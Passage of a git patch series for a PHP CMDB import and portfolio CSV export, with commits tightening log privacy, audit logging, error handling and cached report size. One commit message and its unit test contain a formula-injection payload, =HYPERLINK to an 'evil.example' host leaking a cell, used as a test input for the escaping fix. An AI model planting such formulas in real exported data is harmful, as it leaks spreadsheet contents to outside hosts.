--- lib/Service/CmdbExportImportService.php | 42 +++++++++++++------ .../Service/CmdbExportImportServiceTest.php | 34 +++++++++++---- 2 files changed, 55 insertions(+), 21 deletions(-) diff --git a/lib/Service/CmdbExportImportService.php b/lib/Service/CmdbExportImportService.php index 189ba1028..9303e8983 100644 --- a/lib/Service/CmdbExportImportService.php +++ b/lib/Service/CmdbExportImportService.php @@ -575,7 +575,7 @@ private function processRow( ); $usageUuid = $usageResult['uuid']; } catch (Throwable $e) { - $this->failRow(report: $report, entry: $entry, step: $step, e: $e, warnings: $warnings, uuids: [$moduleUuid, $usageUuid]); + $this->failRow(report: $report, entry: $entry, step: $step, e: $e, warnings: $warnings, uuids: [$moduleUuid, $usageUuid], values: $values); return; }//end try @@ -586,31 +586,34 @@ private function processRow( /** * Report a row as failed at a step, and log it without person data. * + * The report names the step and the kind of exception, never its message: + * OpenRegister messages can quote the object data. The log line keeps the + * message for the administrator, with every cell value of the row and + * every e-mail address taken out (logSafeMessage()). + * * @param CmdbImportReport $report The report. * @param array{sheet: string, row: int, appId: string, name: string} $entry Where the row is. * @param string $step The step that failed. * @param Throwable $e The cause. * @param array $warnings Row warnings so far. * @param array{0: string|null, 1: string|null} $uuids Module and usage, when saved. + * @param array $values The normalised row, whose values are taken out of the log line. * * @return void * * @spec openspec/changes/cmdb-export-import/tasks.md#task-7 */ - private function failRow(CmdbImportReport $report, array $entry, string $step, Throwable $e, array $warnings, array $uuids): void { - $detail = $this->safeMessage(step: $step, e: $e); + private function failRow(CmdbImportReport $report, array $entry, string $step, Throwable $e, array $warnings, array $uuids, array $values): void { $this->logger->warning( 'CmdbExportImportService: row failed', array_merge( ['sheet' => $entry['sheet'], 'row' => $entry['row'], 'appId' => $entry['appId']], - ['step' => $step, 'exception' => get_class($e), 'error' => $detail] + ['step' => $step, 'exception' => get_class($e), 'error' => self::logSafeMessage(step: $step, e: $e, values: $values)] ) ); - $reason = $this->l10n->t('step "%s" failed', [$step]); - if ($detail !== '') { - $reason = $this->l10n->t('step "%1$s" failed: %2$s', [$step, $detail]); - } + $kind = substr((string)strrchr('\\' . get_class($e), '\\'), 1); + $reason = $this->l10n->t('step "%1$s" failed (%2$s)', [$step, $kind]); $this->addRow( report: $report, @@ -1666,22 +1669,35 @@ private function ownerColumn(string $target): string { }//end ownerColumn() /** - * An exception message that is safe for the report. + * An exception message that is safe for the log: no cell value and no e-mail address. * - * Owner steps get no detail, so no contact data can leak into the report. + * Only the first line is kept, at most 300 characters. Every value of the + * row of three characters or more is replaced by "…", longest first, and + * every e-mail address by "". The owner step logs no message at + * all, so no contact data can reach the log. * * @param string $step The step that failed. * @param Throwable $e The exception. + * @param array $values The normalised row. * * @return string */ - private function safeMessage(string $step, Throwable $e): string { + private static function logSafeMessage(string $step, Throwable $e, array $values): string { if ($step === 'owners') { return ''; } - return mb_substr(trim($e->getMessage()), 0, 300); - }//end safeMessage() + $lines = preg_split('/\R/u', $e->getMessage()); + $message = mb_substr(trim((string)($lines[0] ?? '')), 0, 300); + $message = (string)preg_replace('/[^\s@<>"\'(),;:=]+@[^\s@<>"\'(),;:]+/u', '', $message); + $secrets = array_filter(array_unique(array_map('strval', $values)), static fn (string $value): bool => mb_strlen($value) >= 3); + usort($secrets, static fn (string $left, string $right): int => (mb_strlen($right) <=> mb_strlen($left))); + foreach ($secrets as $secret) { + $message = str_ireplace($secret, '…', $message); + } + + return $message; + }//end logSafeMessage() /** * Split a TOPdesk person name ("Achternaam, Voornaam"). diff --git a/tests/Unit/Service/CmdbExportImportServiceTest.php b/tests/Unit/Service/CmdbExportImportServiceTest.php index c819a38dc..ab050a13a 100644 --- a/tests/Unit/Service/CmdbExportImportServiceTest.php +++ b/tests/Unit/Service/CmdbExportImportServiceTest.php @@ -1489,7 +1489,7 @@ public function testAnImportedContactPersonIsNeverAUser(): void { }//end testAnImportedContactPersonIsNeverAUser() /** - * Neither the report nor any log line names an owner. + * Neither the report nor any log line names an owner or repeats a cell value, even when an exception quotes them. * * @return void */ @@ -1497,19 +1497,37 @@ public function testNoPersonDataInReportOrLog(): void { $this->seedOrganisation(uuid: 'muni-1', name: 'Gemeente Voorbeeldstad', type: 'Municipality'); $owner = ['Applicatie Eigenaar (Persoon)' => 'Achternaam, Voornaam', 'Applicatie Eigenaar (Functie)' => 'Afdelingshoofd']; $this->beforeSave = function (int $schema, array $data): void { + if ($schema === self::MODULE && ($data['externalNumber'] ?? '') === '2') { + throw new RuntimeException("Property email=letter.achternaam@gemeente.nl invalid for 'Geheime Applicatie' of Achternaam, Voornaam\nSQL: INSERT ..."); + } + if ($schema === self::USAGE && ($data['module'] ?? '') !== '' && count($this->objects(self::USAGE)) === 1) { - throw new RuntimeException('usage refused'); + throw new RuntimeException('usage refused for Achternaam, Voornaam'); } }; - $report = $this->service(reader: $this->rowsReader(rows: [$this->row(appId: '1', cells: $owner, row: 2), $this->row(appId: '2', cells: $owner, row: 3)])) - ->import(path: '', options: ['municipalityUuid' => 'muni-1']); + $rows = [ + $this->row(appId: '1', cells: $owner, row: 2), + $this->row(appId: '2', cells: array_merge($owner, ['Applicatie Naam' => 'Geheime Applicatie']), row: 3), + $this->row(appId: '3', cells: $owner, row: 4), + ]; + $report = $this->service(reader: $this->rowsReader(rows: $rows))->import(path: '', options: ['municipalityUuid' => 'muni-1']); + + $this->assertSame(['created', 'failed', 'failed'], array_column($report['rows'], 'outcome'), 'both injected failures ran'); + $this->assertSame(['step "module" failed (RuntimeException)'], $report['rows'][1]['reasons']); + $this->assertSame(['step "usage" failed (RuntimeException)'], $report['rows'][2]['reasons']); + + // The row's own name is in the report by design; the log and the reasons must not repeat it. + $reasons = json_encode(array_column($report['rows'], 'reasons'), JSON_UNESCAPED_UNICODE); + $log = implode("\n", $this->logLines); + foreach (['Achternaam', 'Voornaam', 'letter.achternaam', 'gemeente.nl', 'Geheime Applicatie', 'INSERT'] as $secret) { + $this->assertStringNotContainsString($secret, $reasons . "\n" . $log); + } - $text = json_encode($report, JSON_UNESCAPED_UNICODE) . "\n" . implode("\n", $this->logLines); - foreach (['Achternaam', 'Voornaam'] as $personData) { - $this->assertStringNotContainsString($personData, $text); + foreach (['Achternaam', 'Voornaam', 'letter.achternaam'] as $personData) { + $this->assertStringNotContainsString($personData, (string)json_encode($report, JSON_UNESCAPED_UNICODE)); } - $this->assertSame('failed', $report['rows'][1]['outcome'], 'the injected failure ran'); + $this->assertStringContainsString('Property email= invalid for', $log, 'the log keeps the message with the data taken out'); }//end testNoPersonDataInReportOrLog() // ------------------------------------------------------------------ From 27d9d426a905795d74050b4b4f6521a7f9ebffe1 Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 11:21:30 +0200 Subject: [PATCH 126/176] fix(cmdb-import): an import logs who ran it, on which file and municipality The only import-level log line named the operation, the counts and whether it was cancelled. For a bulk write with RBAC and multitenancy off, nothing recorded who ran it, on which file, for which municipality or with which updateExisting. The import now writes an info line "import started" once the workbook is read and the municipality resolved, and "import finished" with the same context plus the counts: the operation id, the admin's user id, the base name of the uploaded file (options.fileName), the municipality uuid, whether this run created it, and updateExisting. No owner name or e-mail address is logged. Co-Authored-By: Claude Opus 5.5 --- lib/Service/CmdbExportImportService.php | 22 ++++++++++- .../Service/CmdbExportImportServiceTest.php | 37 ++++++++++++++++++- 2 files changed, 56 insertions(+), 3 deletions(-) diff --git a/lib/Service/CmdbExportImportService.php b/lib/Service/CmdbExportImportService.php index 9303e8983..9d68d0be5 100644 --- a/lib/Service/CmdbExportImportService.php +++ b/lib/Service/CmdbExportImportService.php @@ -59,6 +59,7 @@ use OCA\Stackiq\Service\Cmdb\CmdbRowNormaliser; use OCA\Stackiq\Service\Cmdb\CmdbWorkbookReader; use OCP\IL10N; +use OCP\IUserSession; use OCP\Lock\ILockingProvider; use OCP\Lock\LockedException; use Psr\Container\ContainerInterface; @@ -216,6 +217,7 @@ class CmdbExportImportService { * @param IL10N $l10n Translates report reasons and warnings. * @param LoggerInterface $logger Logger; never handed person data. * @param ILockingProvider $lockingProvider Serialises imports per register. + * @param IUserSession $userSession Names the admin who ran an import in its audit log lines. * * @SuppressWarnings(PHPMD.ExcessiveParameterList) Each collaborator is one concern of the * import (the file, the packs, OpenRegister, Contacts, progress, the lock); grouping them @@ -234,6 +236,7 @@ public function __construct( private readonly IL10N $l10n, private readonly LoggerInterface $logger, private readonly ILockingProvider $lockingProvider, + private readonly IUserSession $userSession, ) { }//end __construct() @@ -313,7 +316,8 @@ public function requestCancel(string $operationId): bool { * before the file is read until it returns or throws. * * @param string $path The xlsx file, already checked by assertXlsx(). - * @param array $options municipalityUuid, municipalityName, updateExisting, operationId. + * @param array $options municipalityUuid, municipalityName, updateExisting, operationId, + * and fileName (the upload's name, for the audit log line). * * @return array The report (contract.md). * @@ -394,6 +398,11 @@ private function acquireImportLock(int $register): string { /** * Read the workbook and import its rows, under the register's lock. * + * An import is audited by two info log lines, "import started" and + * "import finished", naming the operation, the admin's user id, the + * file's base name, the municipality and updateExisting, and at the end + * the counts. No owner name or e-mail address is logged. + * * @param string $path The xlsx file. * @param array $options The import options. * @param string $startedAt ISO start time of the import. @@ -434,6 +443,15 @@ private function runImport(string $path, array $options, string $startedAt): arr $this->winningSheets = $this->winningSheets(rows: $rows); $updateExisting = (($options['updateExisting'] ?? true) !== false); + $audit = [ + 'operationId' => $operationId, + 'uid' => $this->userSession->getUser()?->getUID(), + 'fileName' => basename(str_replace('\\', '/', (string)($options['fileName'] ?? ''))), + 'municipality' => $municipality['uuid'], + 'municipalityCreated' => $municipality['created'], + 'updateExisting' => $updateExisting, + ]; + $this->logger->info('CmdbExportImportService: import started', array_merge($audit, ['rows' => count($rows)])); try { foreach ($rows as $index => $row) { if ($this->progressTracker->isCancelRequested(operationId: $operationId) === true) { @@ -463,7 +481,7 @@ private function runImport(string $path, array $options, string $startedAt): arr $this->logger->info( 'CmdbExportImportService: import finished', - ['operationId' => $operationId, 'summary' => $result['summary'], 'cancelled' => $result['cancelled']] + array_merge($audit, ['summary' => $result['summary'], 'cancelled' => $result['cancelled']]) ); return $result; diff --git a/tests/Unit/Service/CmdbExportImportServiceTest.php b/tests/Unit/Service/CmdbExportImportServiceTest.php index ab050a13a..2011c7e10 100644 --- a/tests/Unit/Service/CmdbExportImportServiceTest.php +++ b/tests/Unit/Service/CmdbExportImportServiceTest.php @@ -698,10 +698,24 @@ function (string $id) use ($objectService, $schemaMapper) { normaliser: new CmdbRowNormaliser(), l10n: $this->l10n(), logger: $this->logger(), - lockingProvider: $this->locks + lockingProvider: $this->locks, + userSession: $this->adminSession() ); }//end service() + /** + * A session signed in as "admin". + * + * @return IUserSession + */ + private function adminSession(): IUserSession { + $user = $this->createMock(\OCP\IUser::class); + $user->method('getUID')->willReturn('admin'); + $session = $this->createMock(IUserSession::class); + $session->method('getUser')->willReturn($user); + return $session; + }//end adminSession() + /** * Skip unless the fixture can be read. * @@ -1488,6 +1502,27 @@ public function testAnImportedContactPersonIsNeverAUser(): void { $this->assertStringContainsString("\$email = (\$contactData['email'] ?? \$contactData['e-mailadres'] ?? '');", $listener); }//end testAnImportedContactPersonIsNeverAUser() + /** + * An import logs who ran it, on which file and municipality, with which updateExisting, and the counts. + * + * @return void + */ + public function testAnImportLeavesAnAuditRecord(): void { + $this->seedOrganisation(uuid: 'muni-1', name: 'Gemeente Voorbeeldstad', type: 'Municipality'); + $this->service(reader: $this->rowsReader(rows: [$this->row(appId: '1')]))->import( + path: '', + options: ['municipalityUuid' => 'muni-1', 'updateExisting' => false, 'operationId' => 'cmdb-audit-01', 'fileName' => 'C:\\Users\\beheer\\export.xlsx'] + ); + + $audit = '"operationId":"cmdb-audit-01","uid":"admin","fileName":"export.xlsx","municipality":"muni-1","municipalityCreated":false,"updateExisting":false'; + $started = array_values(array_filter($this->logLines, static fn (string $line): bool => str_starts_with($line, 'CmdbExportImportService: import started'))); + $finished = array_values(array_filter($this->logLines, static fn (string $line): bool => str_starts_with($line, 'CmdbExportImportService: import finished'))); + $this->assertCount(1, $started); + $this->assertCount(1, $finished); + $this->assertStringContainsString($audit . ',"rows":1}', $started[0]); + $this->assertStringContainsString($audit . ',"summary":{"rowsRead":1,"processed":1,"created":1,', $finished[0]); + }//end testAnImportLeavesAnAuditRecord() + /** * Neither the report nor any log line names an owner or repeats a cell value, even when an exception quotes them. * From d986575a5f463db74c893c6845bb0d0a33c4fb86 Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 11:22:47 +0200 Subject: [PATCH 127/176] fix(portfolio-report): the CSV export writes formula-like cells as text The CMDB import copies application names and other cell text from a third-party file, and the portfolio CSV wrote them with fputcsv as they were. A name such as =HYPERLINK("https://evil.example/?"&A1,"x") then ran as a formula when a user opened the export in Excel. Every CSV cell now goes through csvSafeCell(): text that starts with =, +, -, @, a tab or a carriage return gets a leading apostrophe, so a spreadsheet shows it as text. A plain number, such as a negative cost, is left as it is. Co-Authored-By: Claude Opus 5.5 --- lib/Service/PortfolioReportService.php | 63 +++++++++++++------ .../Service/PortfolioReportServiceTest.php | 29 +++++++++ 2 files changed, 74 insertions(+), 18 deletions(-) diff --git a/lib/Service/PortfolioReportService.php b/lib/Service/PortfolioReportService.php index 18401a959..cf3bc750d 100644 --- a/lib/Service/PortfolioReportService.php +++ b/lib/Service/PortfolioReportService.php @@ -151,6 +151,30 @@ public function buildReport(string $organisationUuid): array { ]; }//end buildReport() + /** + * A cell a spreadsheet opens as text, never as a formula. + * + * Text that starts with `=`, `+`, `-`, `@`, a tab or a carriage return is + * run as a formula by Excel and LibreOffice when the CSV is opened. Such a + * cell gets a leading apostrophe, so it shows as the text it is. A plain + * number (a negative cost) is left as it is. Module names and rationales + * can come from an imported third-party file, so every cell goes through + * this. + * + * @param string $value The cell. + * + * @return string + * + * @spec openspec/changes/portfolio-rationalization-time/specs/portfolio-rationalization-time/spec.md#requirement-csv-export-of-the-portfolio-report + */ + public static function csvSafeCell(string $value): string { + if ($value === '' || is_numeric($value) === true || in_array($value[0], ['=', '+', '-', '@', "\t", "\r"], true) === false) { + return $value; + } + + return "'" . $value; + }//end csvSafeCell() + /** * Build the CSV export of the same bounded, organisation-scoped row set * the JSON report uses — never a separate unbounded/unscoped data path. @@ -193,24 +217,27 @@ public function buildCsv(string $organisationUuid): string { foreach ($built['rows'] as $row) { fputcsv( $handle, - [ - $organisationUuid, - $row['moduleName'], - $row['timeClassification'] ?? '', - $row['timeRationale'] ?? '', - $row['timeReviewDate'] ?? '', - $row['lifecyclePhase'], - $this->derivation->eolStatusLabel(row: $row), - implode('|', $row['hostingModel']), - (string)$row['annualisedCost'], - (string)$row['oneOffCost'], - (string)($row['businessValue'] ?? ''), - (string)($row['technicalFit'] ?? ''), - (string)($row['riskScore'] ?? ''), - $row['scoredOn'] ?? '', - $row['suggestedTimeClassification'] ?? '', - $this->derivation->mismatchLabel(row: $row), - ] + array_map( + static fn ($cell): string => self::csvSafeCell(value: (string)$cell), + [ + $organisationUuid, + $row['moduleName'], + $row['timeClassification'] ?? '', + $row['timeRationale'] ?? '', + $row['timeReviewDate'] ?? '', + $row['lifecyclePhase'], + $this->derivation->eolStatusLabel(row: $row), + implode('|', $row['hostingModel']), + (string)$row['annualisedCost'], + (string)$row['oneOffCost'], + (string)($row['businessValue'] ?? ''), + (string)($row['technicalFit'] ?? ''), + (string)($row['riskScore'] ?? ''), + $row['scoredOn'] ?? '', + $row['suggestedTimeClassification'] ?? '', + $this->derivation->mismatchLabel(row: $row), + ] + ) ); } diff --git a/tests/Unit/Service/PortfolioReportServiceTest.php b/tests/Unit/Service/PortfolioReportServiceTest.php index 52577a415..fe26ad299 100644 --- a/tests/Unit/Service/PortfolioReportServiceTest.php +++ b/tests/Unit/Service/PortfolioReportServiceTest.php @@ -588,4 +588,33 @@ public function testTheCsvCarriesTheScoreColumns(): void { $this->assertSame('yes', $first['timeMismatch']); $this->assertSame('', array_combine($header, $lines[4])['businessValue']); }//end testTheCsvCarriesTheScoreColumns() + + /** + * A cell that a spreadsheet would run as a formula is written as text; a negative number stays a number. + * + * @return void + * + * @spec openspec/changes/portfolio-rationalization-time/specs/portfolio-rationalization-time/spec.md#requirement-csv-export-of-the-portfolio-report + */ + public function testTheCsvNeutralisesFormulaCells(): void { + $usages = [ + ['id' => 'g-1', 'consumer' => 'org-a', 'module' => '=1+1', 'timeRationale' => '=HYPERLINK("https://evil.example/?"&A1,"x")'], + ['id' => 'g-2', 'consumer' => 'org-a', 'module' => '@SUM(A1)', 'timeRationale' => "\tcmd"], + ]; + $lines = array_map('str_getcsv', explode("\n", trim($this->serviceOver($usages)->buildCsv('org-a')))); + $header = $lines[0]; + $first = array_combine($header, $lines[1]); + $second = array_combine($header, $lines[2]); + + $this->assertSame("'=1+1", $first['module']); + $this->assertSame('\'=HYPERLINK("https://evil.example/?"&A1,"x")', $first['timeRationale']); + $this->assertSame("'@SUM(A1)", $second['module']); + $this->assertSame("'\tcmd", $second['timeRationale']); + + $this->assertSame('-12.5', PortfolioReportService::csvSafeCell(value: '-12.5')); + $this->assertSame("'-1+2", PortfolioReportService::csvSafeCell(value: '-1+2')); + $this->assertSame("'+31 6", PortfolioReportService::csvSafeCell(value: '+31 6')); + $this->assertSame('Gewone naam', PortfolioReportService::csvSafeCell(value: 'Gewone naam')); + $this->assertSame('', PortfolioReportService::csvSafeCell(value: '')); + }//end testTheCsvNeutralisesFormulaCells() }//end class From 14fd86c67a44e74d97293fcd7ee5220519a247b3 Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 11:23:50 +0200 Subject: [PATCH 128/176] fix(cmdb-import): a failing municipality lookup is no longer reported as an invalid uuid municipalityByUuid() caught every Throwable as "unknown uuid", so a database or OpenRegister outage reached the admin as 422 MUNICIPALITY_INVALID and left no trace in the log. Only OpenRegister's DoesNotExistException (and a null result) mean an unknown uuid now. Any other failure is logged with its class and rethrown, so the controller answers it as the server error it is. Co-Authored-By: Claude Opus 5.5 --- lib/Service/CmdbExportImportService.php | 10 ++++- .../Service/CmdbExportImportServiceTest.php | 39 +++++++++++++++++++ 2 files changed, 47 insertions(+), 2 deletions(-) diff --git a/lib/Service/CmdbExportImportService.php b/lib/Service/CmdbExportImportService.php index 9d68d0be5..3a6a9813e 100644 --- a/lib/Service/CmdbExportImportService.php +++ b/lib/Service/CmdbExportImportService.php @@ -58,6 +58,7 @@ use OCA\Stackiq\Service\Cmdb\CmdbImportReport; use OCA\Stackiq\Service\Cmdb\CmdbRowNormaliser; use OCA\Stackiq\Service\Cmdb\CmdbWorkbookReader; +use OCP\AppFramework\Db\DoesNotExistException; use OCP\IL10N; use OCP\IUserSession; use OCP\Lock\ILockingProvider; @@ -1314,7 +1315,8 @@ private function resolveMunicipality(array $options): array { * * @return array{uuid: string, name: string, created: bool} * - * @throws CmdbImportException MUNICIPALITY_INVALID. + * @throws CmdbImportException MUNICIPALITY_INVALID when the uuid is unknown or not a live municipality. + * @throws Throwable When OpenRegister fails to look it up for another reason. * * @spec openspec/changes/cmdb-export-import/tasks.md#task-5 */ @@ -1329,9 +1331,13 @@ private function municipalityByUuid(string $uuid): array { _rbac: false, _multitenancy: false ); - } catch (Throwable $e) { + } catch (DoesNotExistException $e) { // OpenRegister throws DoesNotExistException for an unknown uuid. $organisation = null; + } catch (Throwable $e) { + // Anything else is OpenRegister or the database failing, not a wrong uuid: no 422 for it. + $this->logger->error('CmdbExportImportService: the municipality could not be looked up', ['exception' => get_class($e)]); + throw $e; } $data = []; diff --git a/tests/Unit/Service/CmdbExportImportServiceTest.php b/tests/Unit/Service/CmdbExportImportServiceTest.php index 2011c7e10..1fbd60211 100644 --- a/tests/Unit/Service/CmdbExportImportServiceTest.php +++ b/tests/Unit/Service/CmdbExportImportServiceTest.php @@ -173,6 +173,13 @@ class CmdbExportImportServiceTest extends TestCase { */ private array $searches = []; + /** + * Thrown by every find(), when set. + * + * @var \Throwable|null + */ + private ?\Throwable $findFailure = null; + /** * The locking provider every service of a test shares, as the instance does. * @@ -200,6 +207,7 @@ protected function setUp(): void { $this->ignoredFilters = []; $this->scopedCalls = []; $this->searches = []; + $this->findFailure = null; $this->locks = $this->lockingProvider(); }//end setUp() @@ -415,6 +423,9 @@ function (array $query = [], bool $_rbac = true, bool $_multitenancy = true): ar $service->method('find')->willReturnCallback( function ($id, ?array $_extend = [], bool $files = false, $register = null, $schema = null, bool $_rbac = true, bool $_multitenancy = true): ?ObjectEntityInterface { $this->noteScope(method: 'find', rbac: $_rbac, multitenancy: $_multitenancy); + if ($this->findFailure !== null) { + throw $this->findFailure; + } $data = ($this->store[(int)$schema][(string)$id] ?? null); if ($data === null) { return null; @@ -1719,6 +1730,34 @@ public function testAnImportKeepsRunningWhenTheClientGoesAway(): void { } }//end testAnImportKeepsRunningWhenTheClientGoesAway() + /** + * An unknown municipality uuid is MUNICIPALITY_INVALID; OpenRegister failing to look it up is not. + * + * @return void + */ + public function testAFailingMunicipalityLookupIsNotAnInvalidMunicipality(): void { + $this->findFailure = new \OCP\AppFramework\Db\DoesNotExistException('no such object'); + try { + $this->service(reader: $this->rowsReader(rows: [$this->row(appId: '1')]))->import(path: '', options: ['municipalityUuid' => 'muni-unknown']); + $this->fail('MUNICIPALITY_INVALID expected'); + } catch (CmdbImportException $e) { + $this->assertSame('MUNICIPALITY_INVALID', $e->getErrorCode()); + } + + $this->findFailure = new RuntimeException('database went away'); + try { + $this->service(reader: $this->rowsReader(rows: [$this->row(appId: '1')]))->import(path: '', options: ['municipalityUuid' => 'muni-1']); + $this->fail('the infrastructure error should propagate'); + } catch (CmdbImportException $e) { + $this->fail('an infrastructure error is not ' . $e->getErrorCode()); + } catch (RuntimeException $e) { + $this->assertSame('database went away', $e->getMessage()); + } + + $this->assertStringContainsString('the municipality could not be looked up {"exception":"RuntimeException"}', implode("\n", $this->logLines)); + $this->assertSame([], $this->saves); + }//end testAFailingMunicipalityLookupIsNotAnInvalidMunicipality() + /** * A second import of the same register while the first runs is refused with IMPORT_IN_PROGRESS and writes nothing. * From b2b153f1cdbaf1f7b971a4116876d757cc33d000 Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 11:27:20 +0200 Subject: [PATCH 129/176] fix(cmdb-import): the report stored with the operation holds at most 500 rows finishOperation() stored the whole report, up to 10,000 rows per sheet, in one distributed-cache value. Memcached's default item limit is 1 MB and a refused set is silent, so the progress entry of a large import could keep its last running state and never show completed. The stored copy (CmdbImportReport::toStoredArray()) keeps every count; within 500 rows it keeps every row, over it the rows that need attention first (failed, skipped, with a warning). rowsStored and rowsTruncated say how much it holds. The HTTP response still carries the whole report. Co-Authored-By: Claude Opus 5.5 --- lib/Service/Cmdb/CmdbImportReport.php | 56 +++++++++++++++ lib/Service/CmdbExportImportService.php | 7 +- .../Service/Cmdb/CmdbImportReportTest.php | 72 +++++++++++++++++++ .../Service/CmdbExportImportServiceTest.php | 4 +- 4 files changed, 136 insertions(+), 3 deletions(-) create mode 100644 tests/Unit/Service/Cmdb/CmdbImportReportTest.php diff --git a/lib/Service/Cmdb/CmdbImportReport.php b/lib/Service/Cmdb/CmdbImportReport.php index 091b0a903..8509b5e82 100644 --- a/lib/Service/Cmdb/CmdbImportReport.php +++ b/lib/Service/Cmdb/CmdbImportReport.php @@ -217,4 +217,60 @@ public function toArray(): array { 'rows' => $this->rows, ]; }//end toArray() + + /** + * The report as it is stored with the operation: the counts, and at most + * $maxRows rows. + * + * The progress entry lives in the distributed cache, where a value of a + * few megabytes is refused without an error (memcached's default item + * limit is 1 MB). The stored copy keeps every count. Within the limit it + * keeps every row; over it, the rows that need attention: failed, then + * skipped, then rows with a warning, then the rest, each in processing + * order. `rowsStored` and `rowsTruncated` say how much it holds. + * + * @param int $maxRows The most rows to keep. + * + * @return array + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-7 + */ + public function toStoredArray(int $maxRows): array { + $stored = $this->toArray(); + $stored['rowsStored'] = count($this->rows); + $stored['rowsTruncated'] = false; + if (count($this->rows) <= $maxRows) { + return $stored; + } + + $rank = static function (array $row): int { + if ($row['outcome'] === self::FAILED) { + return 0; + } + + if ($row['outcome'] === self::SKIPPED) { + return 1; + } + + if ($row['warnings'] !== []) { + return 2; + } + + return 3; + }; + + $ordered = []; + foreach ($this->rows as $index => $row) { + $ordered[] = [$rank($row), $index, $row]; + } + + usort($ordered, static fn (array $left, array $right): int => [$left[0], $left[1]] <=> [$right[0], $right[1]]); + $kept = array_column(array_slice($ordered, 0, max(0, $maxRows)), 2); + + $stored['rows'] = $kept; + $stored['rowsStored'] = count($kept); + $stored['rowsTruncated'] = true; + + return $stored; + }//end toStoredArray() }//end class diff --git a/lib/Service/CmdbExportImportService.php b/lib/Service/CmdbExportImportService.php index 3a6a9813e..4f9f8191f 100644 --- a/lib/Service/CmdbExportImportService.php +++ b/lib/Service/CmdbExportImportService.php @@ -129,6 +129,11 @@ class CmdbExportImportService { */ public const TIME_LIMIT_SECONDS = 3000; + /** + * The most report rows stored with the operation in the distributed cache; the counts are always kept. + */ + public const STORED_REPORT_ROWS = 500; + /** * The URI of the importing admin's address book that new owner contacts go into. */ @@ -472,7 +477,7 @@ private function runImport(string $path, array $options, string $startedAt): arr } $result = $report->toArray(); - $this->finishOperation(report: $result); + $this->finishOperation(report: $report->toStoredArray(maxRows: self::STORED_REPORT_ROWS)); } catch (Throwable $e) { // Rows catch their own errors; this is the run itself failing, so the // operation stops as failed instead of staying running until it expires. diff --git a/tests/Unit/Service/Cmdb/CmdbImportReportTest.php b/tests/Unit/Service/Cmdb/CmdbImportReportTest.php new file mode 100644 index 000000000..a3d7a576a --- /dev/null +++ b/tests/Unit/Service/Cmdb/CmdbImportReportTest.php @@ -0,0 +1,72 @@ + + * @copyright 2026 Conduction B.V. + * @license EUPL-1.2 https://joinup.ec.europa.eu/collection/eupl/eupl-text-eupl-12 + * @link https://github.com/ConductionNL/stackiq + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-7 + * + * SPDX-FileCopyrightText: 2026 Conduction B.V. + * SPDX-License-Identifier: EUPL-1.2 + */ + +declare(strict_types=1); + +namespace OCA\Stackiq\Tests\Unit\Service\Cmdb; + +use OCA\Stackiq\Service\Cmdb\CmdbImportReport; +use PHPUnit\Framework\TestCase; + +/** + * The stored copy of a report is bounded. + */ +class CmdbImportReportTest extends TestCase { + /** + * A report of five rows, one of each kind that matters. + * + * @return CmdbImportReport + */ + private function report(): CmdbImportReport { + $report = new CmdbImportReport(operationId: 'cmdb-report-01', rowsRead: 5); + $report->addRow(sheet: 'S', row: 2, appId: '1', name: 'Een', outcome: CmdbImportReport::CREATED); + $report->addRow(sheet: 'S', row: 3, appId: '2', name: 'Twee', outcome: CmdbImportReport::UPDATED, warnings: ['let op']); + $report->addRow(sheet: 'S', row: 4, appId: '3', name: 'Drie', outcome: CmdbImportReport::SKIPPED, reasons: ['exists']); + $report->addRow(sheet: 'S', row: 5, appId: '4', name: 'Vier', outcome: CmdbImportReport::FAILED, reasons: ['step "module" failed (RuntimeException)']); + $report->addRow(sheet: 'S', row: 6, appId: '5', name: 'Vijf', outcome: CmdbImportReport::FAILED, reasons: ['step "usage" failed (RuntimeException)']); + return $report; + }//end report() + + /** + * Over the limit, the stored copy keeps every count and the failed, skipped and warned rows first. + * + * @return void + */ + public function testTheStoredCopyKeepsTheCountsAndTheRowsThatNeedAttention(): void { + $report = $this->report(); + $stored = $report->toStoredArray(maxRows: 3); + + $this->assertSame($report->summary(), $stored['summary']); + $this->assertSame(['4', '5', '3'], array_column($stored['rows'], 'appId')); + $this->assertSame(3, $stored['rowsStored']); + $this->assertTrue($stored['rowsTruncated']); + $this->assertCount(5, $report->toArray()['rows'], 'the report itself is whole'); + }//end testTheStoredCopyKeepsTheCountsAndTheRowsThatNeedAttention() + + /** + * Within the limit, the stored copy holds every row in processing order and says so. + * + * @return void + */ + public function testWithinTheLimitEveryRowIsStored(): void { + $report = $this->report(); + $stored = $report->toStoredArray(maxRows: 500); + + $this->assertSame(array_merge($report->toArray(), ['rowsStored' => 5, 'rowsTruncated' => false]), $stored); + }//end testWithinTheLimitEveryRowIsStored() +}//end class diff --git a/tests/Unit/Service/CmdbExportImportServiceTest.php b/tests/Unit/Service/CmdbExportImportServiceTest.php index 1fbd60211..352452306 100644 --- a/tests/Unit/Service/CmdbExportImportServiceTest.php +++ b/tests/Unit/Service/CmdbExportImportServiceTest.php @@ -1710,7 +1710,7 @@ public function testProgressIsRecordedAndHoldsTheReport(): void { $stored = $this->cache['progress_cmdb-progress-1']; $this->assertSame('cmdb_import', $stored['operation_type']); $this->assertSame('completed', $stored['status']); - $this->assertSame($report, $stored['statistics']['report']); + $this->assertSame(array_merge($report, ['rowsStored' => 2, 'rowsTruncated' => false]), $stored['statistics']['report']); }//end testProgressIsRecordedAndHoldsTheReport() /** @@ -1838,7 +1838,7 @@ public function testACancelStopsBetweenRows(): void { $this->assertCount(1, $report['rows']); $this->assertCount(1, $this->store[self::MODULE], 'row 1 stays'); $this->assertSame('cancelled', $this->cache['progress_cmdb-cancel-01']['status']); - $this->assertSame($report, $this->cache['progress_cmdb-cancel-01']['statistics']['report']); + $this->assertSame(array_merge($report, ['rowsStored' => 1, 'rowsTruncated' => false]), $this->cache['progress_cmdb-cancel-01']['statistics']['report']); }//end testACancelStopsBetweenRows() /** From 02d3ffeea4066d18441af683b73c2aa0952016e1 Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 11:28:06 +0200 Subject: [PATCH 130/176] fix(cmdb-import): suppliers the import creates are registered as Supplier The organisation read rule shows a supplier publicly 